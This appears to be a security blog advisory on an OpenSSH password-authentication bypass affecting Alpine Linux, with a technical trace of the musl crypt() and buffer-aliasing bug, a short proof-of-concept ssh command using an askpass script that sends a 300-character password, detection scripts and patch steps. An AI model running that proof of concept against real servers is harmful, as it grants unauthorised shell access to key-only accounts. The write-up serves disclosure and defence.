OpenSSH Password Auth Bypass on Alpine (CVE-2026-123158)

– min read

I spotted this one in the CISA KEV list on 9 November with a 12 November due date a full week after the fix landed in Alpine repos. CVE-2026-123158 is an authentication bypass in OpenSSH when built against musl libc without PAM, exactly how Alpine Linux ships its openssh-server package. The bypass turns every key-only account into a remote shell, and the only precondition is that at least one real password hash exists on the machine. Most Alpine servers satisfy that the moment someone sets a root password.

Sources: OpenSSH 10.6p2 Release Notes · Upstream Fix · Alpine Advisory · NVD Entry · Lab by Leon Jacobs


CVE-2026-123158 Overview

FieldValue
CVSS8.1 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-394: Unexpected Status Code or Return Value
VectorNetwork, unauthenticated, remote
EPSS16.5% (97th percentile)
CISA KEVYes added 9 Nov 2026, due 12 Nov 2026
PoCYes verified in lab below


Affected Versions

All Alpine releases from 3.16 through 3.24 and edge are affected when using the openssh-server package (built without PAM).

Alpine BranchVulnerableFixed
edge10.5_p1-r010.6_p2-r0
3.2410.3_p1-r110.3_p1-r2
3.2310.2_p1-r010.2_p1-r1
3.2210.0_p1-r1010.0_p1-r11
3.219.9_p2-r09.9_p2-r1
3.209.7_p1-r59.7_p1-r6
3.19-3.16variousper advisory


Technical Deep Dive

When OpenSSH is compiled without PAM, it validates passwords by calling crypt() and comparing to the stored shadow hash. The exploit relies on two interacting bugs.

Bug 1 musl crypt() returns * for keys over 256 bytes. musl crypt() returns * when the key exceeds 256 bytes. This matches the shadow field of key-only accounts.

Bug 2 OpenSSH static buffer aliasing. When the stored field is too short for a salt, pick_salt() iterates getpwent()/getspnam() to borrow a $6$ salt. But getspnam() overwrites musl's single static buffer, so pw_password (which pointed at *) now points at root's $6$ hash and the comparison fails. However pick_salt() caches the salt, so on the second attempt pw_password stays *, crypt returns *, and the match succeeds.

sys_auth_passwd(ssh, "A"*300)
  - shadow_pw(pw) -> getspnam("testkey") -> "*"  into pw_password
  - pw_password[0] && pw_password[1] -> "*" has [1]==0 -> salt = NULL
  - xcrypt(password, NULL)
  |   - pick_salt()
  |       - getpwent() -> shadow_pw(root) -> getspnam("root")
  |       |   "$6$tXN13pZv..." -> salt (cached in static salt[32])
  |       THIS OVERWRITES the spwd buffer pw_password points to!
  - crypt("A"*300, "$6$tXN...") -> musl returns "*"
  - strcmp("*", "$6$tXN13p...") -> MISMATCH -> FAIL

Second attempt (same connection):
  - pw_password = getspnam("testkey") -> "*" (buffer restored)
  - xcrypt(password, NULL)
  |   - pick_salt() -> cached "$6$tXN..." (no getspnam call)
  - crypt("A"*300, "$6$tXN...") -> musl returns "*"
  - strcmp("*", "*") -> MATCH -> LOGIN SUCCESS


Proof of Concept

Lab on Alpine 3.22.8 with openssh-server-10.0_p1-r10 (last vulnerable). Two accounts: testkey (shadow field *) and testuser (real $6$ hash).

#!/bin/sh
# askpass.sh - prints 300 chars each time ssh prompts
python3 -c 'print("A"*300)'

# Terminal session:
$ SSH_ASKPASS=./askpass.sh SSH_ASKPASS_REQUIRE=force \
    setsid -w ssh -o NumberOfPasswordPrompts=3 \
    -o PreferredAuthentications=password \
    testkey@VULN_HOST -p 22 'id'
Permission denied, please try again.
uid=1000(testkey)


Terminal SSH bypass output
Two-attempt exploit: first prompt Permission denied (salt caching), second prompt returns shell.


Detection

# List *-field accounts (bypass targets)
awk -F: '$2 == "*" {print $1}' /etc/shadow

# Scan auth logs for Accepted password on *-field accounts
grep "Accepted password for" /var/log/messages | \
    while read -r month day time user rest; do
        if awk -F: -vu="$user" '$1==u && $2=="*"' /etc/shadow; then
            echo "ALERT: $user with * field logged in via password!"
        fi
    done


Patched Alpine rejects exploit
Patched Alpine 3.22 (openssh-10.0_p1-r11): all attempts denied.


Mitigation

Upgrade the openssh package and restart sshd (rc-service sshd restart). Upgrading the binary alone does not replace the running daemon.

apk upgrade -U -a
rc-service sshd restart

# Workaround if you cannot update:
echo 'PasswordAuthentication no' > /etc/ssh/sshd_config.d/00-no-passwords.conf
sed -i.bak -e '1i PasswordAuthentication no' \
  -e 's/^\(\s*PasswordAuthentication[^y#]*\)yes/\1no/i' \
  /etc/ssh/sshd_config
sshd -t && rc-service sshd restart


Related: Audit sshd_config Hardening Gaps · Summarize fail2ban Bans


If you run Alpine Linux servers and rely on key-only SSH accounts, patch this today. The 12 November KEV deadline is tight, but PasswordAuthentication no is a stopgap if you cannot restart sshd. This exploit is trivially weaponisable so do not leave it for the weekend.

Mohamad ZulfahmyCybersecurity · OffSec · Entrepreneur
About me ↗
ON THIS PAGE
On this page